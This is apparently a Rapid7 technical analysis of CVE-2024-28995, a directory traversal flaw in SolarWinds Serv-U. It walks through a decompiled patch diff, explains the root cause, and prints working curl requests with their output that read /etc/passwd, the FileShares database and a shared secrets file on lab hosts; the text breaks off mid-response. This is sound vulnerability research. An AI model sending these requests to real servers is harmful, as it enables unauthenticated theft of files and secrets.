Activity Feed

1
Ratings
  • Attacker Value
    High
  • Exploitability
    High
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.

Technical Analysis

Overview

On June 5, 2024, SolarWinds published an advisory for CVE-2024-28995, a high-severity directory traversal vulnerability affecting their file transfer solution Serv-U. The vulnerability was discovered by researcher Hussein Daher of Web Immunify.

According to the vendor, the following versions of Serv-U are affected, running on either Windows or Linux:

  • Serv-U FTP Server 15.4
  • Serv-U Gateway 15.4
  • Serv-U MFT Server 15.4

As per the vendor documentation, Serv-U version 15.3.2 and earlier will reach end of life in February 2025, and all versions below this have reached end of life and are unsupported.

Our analysis was conducted on a Windows Server 2022 system, running SolarWinds Serv-U File Server (64-bit) version 15.4.2.126. We also confirmed exploitation against Serv-U File Server (64-bit) version 15.4.2.126 running on Linux. In both cases, all default installation options were used. When running Serv-U on either Windows or Linux, a new Serv-U File transfer and File Sharing “Domain” was created to reflect a real world deployment.

We have verified the vendor supplied hotfix 15.4.2 Hotfix 2 (version 15.4.2.157) successfully remediates this vulnerability.

Analysis

The Serv-U application is largely a native code application written in what appears to be C++. The majority of the code is located in the Serv-U.dll binary. We downloaded a vulnerable version of the application, version 15.4.2.126, and the hotfix version 15.4.2.157 which contains the patch for CVE-2024-28995.

We analyzed both binaries with IDA Pro and then performed a binary diff using BinDiff. Looking at the BinDiff “function matches” results, we can see that only a single function has been modified in the hotfix.

diff1.png

Both versions of the modified function sub_18016DC30, which has the same address in both binaries, can be decompiled and compared to get a better understanding of what has changed. Below is the full output of the functions changes.

diff --git a/func_vuln.c b/func_patched.c
index a83d349..8a1bd0c 100644
--- a/func_vuln.c
+++ b/func_patched.c
@@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
   char v29; // bl
   __int64 v30; // rax
   __int64 v31; // rax
-  __int64 v32; // rax
-  void **v34; // [rsp+38h] [rbp-38h] BYREF
-  char v35[8]; // [rsp+40h] [rbp-30h] BYREF
-  void **v36; // [rsp+48h] [rbp-28h] BYREF
-  wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF
-  char v38[24]; // [rsp+58h] [rbp-18h] BYREF
+  void **v33; // [rsp+38h] [rbp-38h] BYREF
+  char v34[8]; // [rsp+40h] [rbp-30h] BYREF
+  void **v35; // [rsp+48h] [rbp-28h] BYREF
+  wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF
+  char v37[24]; // [rsp+58h] [rbp-18h] BYREF
 
-  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37);
-  v36 = &CRhinoString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
-  v36 = (void **)&CSUString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
+  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36);
+  v35 = &CRhinoString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
+  v35 = (void **)&CSUString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
   PLH::VTableSwapHook::VTableSwapHook(this, v7, v8);
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") )
   {
     Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       Manager);
     v10 = -1LL;
     do
@@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
     while ( aWebClient_0[v10] );
 LABEL_4:
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Web Client",
       v10);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-LABEL_46:
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34);
-    goto LABEL_47;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+    goto LABEL_48;
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") )
   {
-    if ( a4 )
+    if ( !a4
+      || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
+      && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) )
     {
-      if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
-        || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) )
-      {
-        v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-        ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-          &v34,
-          v12);
-        v13 = -1LL;
-        do
-          ++v13;
-        while ( aAdmin_1[v13] );
-        ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-          &v34,
-          qword_18046D5F8,
-          *(unsigned int *)(qword_18046D5F8 - 16),
-          L"Admin",
-          v13);
-        ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-        goto LABEL_46;
-      }
+      a3 = L"404NotFound.htm";
+      v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+        &v33,
+        v14);
+      v10 = -1LL;
+      do
+        ++v10;
+      while ( aWebClient_0[v10] );
+      goto LABEL_4;
     }
-    a3 = L"404NotFound.htm";
-    v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
-      v14);
-    v10 = -1LL;
+      &v33,
+      v12);
+    v13 = -1LL;
     do
-      ++v10;
-    while ( aWebClient_0[v10] );
-    goto LABEL_4;
+      ++v13;
+    while ( aAdmin_1[v13] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Admin",
+      v13);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") )
   {
     v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v15);
     v16 = -1LL;
     do
       ++v16;
     while ( aCommon_0[v16] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Common",
       v16);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") )
   {
     v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v17);
     v18 = -1LL;
     do
       ++v18;
     while ( aFvjv_1[v18] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"FVJV",
       v18);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
   {
     v19 = sub_180153E60(a4);
     v20 = (CDomainAttrs *)v19;
@@ -146,98 +142,100 @@ LABEL_46:
               0LL,
               0LL,
               0LL);
-      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) )
+      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) )
       {
-        v22 = (__int64)v36;
+        v22 = (__int64)v35;
         v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21);
-        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23);
+        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23);
       }
     }
   }
-  else
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
   {
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
-    {
-      v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v24);
-      v25 = -1LL;
-      do
-        ++v25;
-      while ( aSidecar_0[v25] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Sidecar",
-        v25);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 )
-    {
-      v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v26);
-      v27 = -1LL;
-      do
-        ++v27;
-      while ( aDemo[v27] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Demo",
-        v27);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") )
-    {
-      v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37);
-      ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32);
-      goto LABEL_46;
-    }
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35);
-    v34 = &CRhinoString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v34 = (void **)&CSUString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v28 = sub_1801A6BD4(&v34, v38);
-    v29 = sub_1801A7484(v28);
-    `std::locale::global'::`1'::dtor$2(v38);
-    CSUString::~CSUString((CSUString *)&v34);
+    v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v24);
+    v25 = -1LL;
+    do
+      ++v25;
+    while ( aSidecar_0[v25] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Sidecar",
+      v25);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 )
+  {
+    v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v26);
+    v27 = -1LL;
+    do
+      ++v27;
+    while ( aDemo[v27] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Demo",
+      v27);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") )
+  {
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34);
+    v33 = &CRhinoString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v33 = (void **)&CSUString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v28 = sub_1801A6C24(&v33, v37);
+    v29 = sub_1801A74D4(v28);
+    `std::locale::global'::`1'::dtor$2(v37);
+    CSUString::~CSUString((CSUString *)&v33);
     if ( !v29 )
     {
       v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
       ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
+        &v33,
         v30);
       v31 = -1LL;
       do
         ++v31;
       while ( aWebclientnew[v31] );
       ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
+        &v33,
         qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
+        *((unsigned int *)qword_18046D5F8 - 4),
         L"WebClientNew",
         v31);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
+      ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
     }
   }
-LABEL_47:
-  if ( !(unsigned __int8)sub_1801A7484(&v36) )
+  else
+  {
+    CSUString::MakeDirSeparator((CSUString *)&v35);
+    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 )
+      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
+    else
+      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
+  }
+LABEL_48:
+  if ( !(unsigned __int8)sub_1801A74D4(&v35) )
   {
     (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3);
     CSUString::MakeDirSeparator(this);
-    CSUString::BuildLocalPath(this, v37);
-    if ( (unsigned int)sub_1801A69C8(this, L"\\..\\", 0LL) != -1 )
+    CSUString::BuildLocalPath(this, v36);
+    if ( (unsigned int)sub_1801A6A18(this, L"\\..\\", 0LL) != -1 )
       ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8);
   }
-  CSUString::~CSUString((CSUString *)&v36);
+  CSUString::~CSUString((CSUString *)&v35);
   return this;
 }

The modified function processes a file path. We can see the patched function has the addition of the following check.

  else
  {
    CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character
    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find
      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
    else
      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
  }

The path is checked to see if it contains a double dot path segment (\..\), and if found the path will be cleared. Seeing the addition of a check like this in the patch is a strong indication that this function is the root cause of the directory traversal vulnerability.

When we investigate the usage of this vulnerable function, herein renamed to vulnerable_path_traversal_function, we see a pattern emerge of how this function is used. For example:

      get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
      get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
      v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);

In almost all uses of vulnerable_path_traversal_function, two HTTP request parameters named InternalDir and InternalFile are retrieved before calling into the vulnerable function.

Could simply providing these two request parameters trigger the directory traversal vulnerability and read an arbitrary file? A quick curl command shows we are looking in the right place…

Note: The ampersand (&) was escaped with a caret (^), as curl was run on a Windows host for every example throughout this analysis.

curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax

The following file system access is captured by Procmon on the target server, and shows the path traversal vulnerability in operation.

procmon1.png

We can now modify the request’s path to reach an arbitrary file on the target server we want to read. On Windows, the Serv-U program data is stored in the folder C:\ProgramData\RhinoSoft\Serv-U\. In this folder, the file Serv-U-StartupLog.txt contains the applications logging information emitted during application startup. This file will contain the target Serv-U server’s version number among other things. This is a good file candidate to read in order to verify the vulnerability.

Reworking our curl request, we can now read the C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt file as shown below.

>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 13:46:06 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  httponly
Content-Length: 2119

[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC.  All rights reserved.
[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33
[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200
[01] Tue 11Jun24 01:28:15 - Loaded graphics library.
[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.
[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.
[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.
[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.
[01] Tue 11Jun24 01:28:15 - Valid Server Identity found
[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)

Success! We can now traverse the operating system’s file system via double dot path notation and read any file (including binary files), so long as we know the file path we want to read from.

It is interesting to note that we targeted a Windows system, but were able to pass forward slash (/) characters as the path separator in our HTTP request. On Windows, the backslash character (\) is the path separator. This appears to be a key part of the vulnerability’s root cause. Investigating further, we discover that an attempt is made in the vulnerable function to detect path traversal by looking for a path segment \..\ in the attacker supplied path. However if we supply path segments separated by a forward slash, e.g. /../, we can bypass this check. Later, in the function sub_180165B60, before a call to wfopen_s to actually open this file, a helper method is called which will replace all / characters with the underlying operating systems native path separator \. Therefore we can pass the check for a path traversal path segment by supplying a path that will initially be constructed as:

C:\Program Files\RhinoSoft\Serv-U\Client\/../../../../ProgramData/RhinoSoft/Serv-U/\Serv-U-StartupLog.txt

And then prior to being opened, the path will be transformed to:

C:\Program Files\RhinoSoft\Serv-U\Client\\..\..\..\..\ProgramData\RhinoSoft\Serv-U\\Serv-U-StartupLog.txt

Which is a valid path on Windows. On a Linux based target the technique is the same, however the path separators are reversed, so \ will be replaced with /.

A default Windows installation will run the Serv-U service with NT AUTHORITY\NETWORK SERVICE permissions. A default Linux installation will run the Serv-U service with root permissions. The permissions of the running Serv-U service will impact the ability to read some files, should the Serv-U service not have sufficient permission to read that file. If the Serv-U service is running on Linux as root for example, this will not be an issue.

Another interesting file to read would be C:\ProgramData\RhinoSoft\Serv-U\Shares\Serv-U.FileShares. This is a SQLite3 database containing the ShareToken of every file shared by Serv-U. The ShareToken is a secret needed for an external party to read a shared file. However on Windows this file is locked, and attempting to read this file will not work. The call to kernelbase!CreateFileW in the Serv-U.exe process will return ERROR_SHARING_VIOLATION.

When targeting a Linux based system, we can read an arbitrary file such as /etc/passwd as shown below. Note that path separators must be backslashes (\) and not forward slashes (/).

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 14:55:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT
Expires: -1
Cache-Control: must-revalidate, private
Content-Length: 3017

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

While the SQLite database Serv-U.FileShares is locked on Windows, we can successfully read this file on a Linux target, as shown below:

curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 61440  100 61440    0     0  1965k      0 --:--:-- --:--:-- --:--:-- 2000k

The resulting output will contain an HTTP response header that we must first strip out in order to leave only the desired file’s content. Then, using a tool like DB Browser for SQLite, we can read the database and discover every shared file on the target system.

db1.png

Knowing the location of a shared file, as given in the FullPath column of the ad_hoc_files table, we can now read the shared file as follows:

Note the random directory name in the path (PzhW3v7W in the example above), which we would not be able to guess without first reading the Serv-U.FileShares database.

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\testdomain\7\PzhW3v7W^&InternalFile=secrets.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 15:56:44 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
